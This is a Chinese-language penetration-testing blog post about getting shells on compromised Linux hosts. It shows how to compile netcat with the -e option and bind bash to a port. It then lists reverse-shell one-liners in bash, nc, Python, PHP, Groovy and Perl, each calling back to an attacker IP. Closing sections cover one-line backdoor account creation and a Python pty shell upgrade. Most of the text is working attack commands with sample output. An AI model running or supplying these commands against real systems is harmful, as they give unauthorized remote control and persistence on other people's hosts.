@websec007
2017-12-20T10:29:30.000000Z
字数 6667
阅读 2767
Linux渗透测试
我们在渗透测试的过程中经常会遇到linux主机环境,而在获取linux主机shell是我们经常需要做的是工作内容之一,其中经常会遇到以下几个场景。
我们已经拿下主机的一个webshell,我们想获取一个可以直接操作主机的虚拟终端,此时我们首先想到的是开启一个shell监听,这种场景比较简单,我们直接使用使用nc即可开启,如果没有nc我们也可以很轻松的直接下载安装一个,具体开启监听的命令如下。
这里需要注意一点默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e
这里都被阉割了,所以我们需要手动下载二进制安装包,自己动手丰衣足食了,具体过程如下。
原生版本netcat链接:https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
# 第一步:下载二进制netc安装包
root@home-pc# wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
# 第二步:解压安装包
root@home-pc# tar -xvzf netcat-0.7.1.tar.gz
# 第三步:编译安装
root@home-pc# ./configure
root@home-pc# make
root@home-pc# make install
root@home-pc# make clean
# 具体编译安装过程可以直接参见INSTALL安装说明文件内容...
# 第四步:在当前目录下运行nc帮助
root@home-pc:/tmp/netcat-0.7.1# nc -h
GNU netcat 0.7.1, a rewrite of the famous networking tool.
Basic usages:
connect to somewhere: nc [options] hostname port [port] ...
listen for inbound: nc -l -p port [options] [hostname] [port] ...
tunnel to somewhere: nc -L hostname:port -p port [options]
Mandatory arguments to long options are mandatory for short options too.
Options:
-c, --close close connection on EOF from stdin
-e, --exec=PROGRAM program to exec after connect
-g, --gateway=LIST source-routing hop point[s], up to 8
-G, --pointer=NUM source-routing pointer: 4, 8, 12, ...
-h, --help display this help and exit
-i, --interval=SECS delay interval for lines sent, ports scanned
-l, --listen listen mode, for inbound connects
-L, --tunnel=ADDRESS:PORT forward local port to remote address
-n, --dont-resolve numeric-only IP addresses, no DNS
-o, --output=FILE output hexdump traffic to FILE (implies -x)
-p, --local-port=NUM local port number
-r, --randomize randomize local and remote ports
-s, --source=ADDRESS local source address (ip or hostname)
-t, --tcp TCP mode (default)
-T, --telnet answer using TELNET negotiation
-u, --udp UDP mode
-v, --verbose verbose (use twice to be more verbose)
-V, --version output version information and exit
-x, --hexdump hexdump incoming and outgoing traffic
-w, --wait=SECS timeout for connects and final net reads
-z, --zero zero-I/O mode (used for scanning)
Remote port number can also be specified as range. Example: '1-1024'
至此我们已经安装完成原生版本的 netcat工具,有了netcat -e参数,我们就可以将本地bash完整发布到外网了。
# 开启本地8080端口监听,并将本地的bash发布出去。
root# nc -lvvp 8080 -t -e /bin/bash
root@kali:~# nc 192.168.31.41 8080
whoami
root
w
22:57:36 up 1:24, 0 users, load average: 0.52, 0.58, 0.59
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHA
目标主机为一个内网主机,并没有公网IP地址,我们无法从外网发起对目标主机的远程连接,此时我们使用的方法是使用获取的webshell主动发起一个反弹的shell到外网,然后获取一个目标主机的shell终端控制环境,而有关shell反弹的方法有很多这里简单介绍几种比较常见的方法。
bash一句话shell反弹:个人感觉最好用的用的方法就是使用的方法就是使用bash
结合重定向
方法的一句话,具体命令如下。
root# bash -i >& /dev/tcp/192.168.31.41/8080 0>&1
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。
命令 | 命令详解 |
---|---|
bash -i | 产生一个bash交互环境。 |
>& | 将联合符号前面的内容与后面相结合然后一起重定向给后者。 |
/dev/tcp/192.168.31.41/8080 | linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让主机与目标主机192.168.31.41:8080 端口建立一个 TCP连接 。 |
0>&1 | 将标准的输入 与标准输出 内容相结合,然后重定向给前面标准的输出 内容。 |
其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境,前面已经介绍默认的linux发型版现在自带的NC都是被阉割过来,无法反弹一个bash给远端,所以相对上面的bash一句话反弹显得就繁琐很多,同时通过实际测试发现NC反弹的shell交互性也差很多,后面会具体说道,这里就不多说了。
root@kali:~# nc -lvvp 8080
listening on [any] 8080 ...
有关netcat的原生二进制安装包的编译安装内容请参考场景一
中的具体说明;
~ # nc 192.168.31.174 8080 -t -e /bin/bash
# 命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.174)。
此时我们再回到外网主机,我们会发现tcp 8080监听已经接收到远端主机发起的连接,并成功获取shell虚拟终端控制环境。
以下脚本反弹一句话的使用方法都是一样的,只要在攻击机在本地开启 TCP 8080监听,然后在远端靶机上运行以下任意一种脚本语句,即可把靶机的bash反弹给攻击主机的8080端口。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("192.168.31.41",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
perl -e 'use Socket;$i="192.168.31.41";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
场景三其实应该是在使用shell环境获取的过程中遇到的问题孕育出来的,大家如果经常使用前各种方法进行虚拟终端环境获取的话,会发现存在一个问题,就是我们即使获取了目标虚拟终端控制权限,但是往往会发现交互性非常的差,就是发现这个虚拟回显信息与可交互性非常的差和不稳定,具体见情况有以下两种。
问题1: 获取的虚拟终端没有交互性,我们想给添加的账号设置密码,无法完成。
问题2: 获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。
针对以上问题个人学习和总结了以下的应对方法,请大家参考交流。
你不是不给我提供交互的界面吗,那我就是使用脚本式的方法,使用一句话完成账号密码的添加,有关一句话账号密码的添加,笔者收集了以下几种方式。
# useradd newuser;echo "newuser:password"|chpasswd
root@ifly-21171:~# useradd guest;echo 'guest:123456'|chpasswd
root@ifly-21171:~# vim /etc/shadow
sshd:*:17255:0:99999:7:::
pollinate:*:17255:0:99999:7:::
postgres:*:17390:0:99999:7:::
guest:$6$H0a/Nx.w$c2549uqXOULY4KvfCK6pTJQahhW7fuYYyHlo8HpnBxnUMtbXEbhgvFywwyPo5UsCbSUAMVvW9a7PsJB12TXPn.:17425:0:99999:7:::
(1) 执行语句
# useradd -p encrypted_password newuser
(2) 操作实例
root@ifly-21171:~# useradd -p `openssl passwd 123456` guest
root@ifly-21171:~# vim /etc/shadow
sshd:*:17255:0:99999:7:::
pollinate:*:17255:0:99999:7:::
postgres:*:17390:0:99999:7:::
guest:h8S5msqJLVTfo:17425:0:99999:7:::
root@ifly-21171:~# useradd -p "$(openssl passwd 123456)" guest
root@ifly-21171:~#
user_password="`openssl passwd 123456`"
useradd -p "$user_password" guest
# useradd newuwer;echo -e "123456\n123456\n" |passwd newuser
root@ifly-21171:~# useradd test;echo -e "123456\n123456\n" |passwd test
Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully
root@ifly-21171:~# vim /etc/shadow
sshd:*:17255:0:99999:7:::
pollinate:*:17255:0:99999:7:::
postgres:*:17390:0:99999:7:::
guest:h/UnnFIjqKogw:17425:0:99999:7:::
test:$6$rEjvwAb2$nJuZ1MDt0iKbW9nigp8g54ageiKBDuoLObLd1kWUC2FmLS0xCFFZmU4dzRtX/i2Ypm9uY6oKrSa9gzQ6qykzW1:17425:0:99999:7:::
我们通过各种方式获取的shell
经常不稳定或者没有交互界面的原因,往往都是因为我们获取的shell
不是标准的虚拟终端,此时我们其实可以借助于python来获取一个标准的虚拟终端环境
。python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。
# python -c "import pty:pty:spawn('/bin/bash')"
虽然到目前为止写的虚拟终端并没有原生终端那样好,但是花点时间去折腾然后不断的去完善.相信会做的更好. 大家可能在渗透测试的时候会发现有些时候系统的命令终端是不允许直接访问的,那么这个时候用Python虚拟化一个终端相信会让你眼前一亮.
学习参考:
https://github.com/smartFlash/pySecurity/blob/master/zh-cn/0x11.md
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet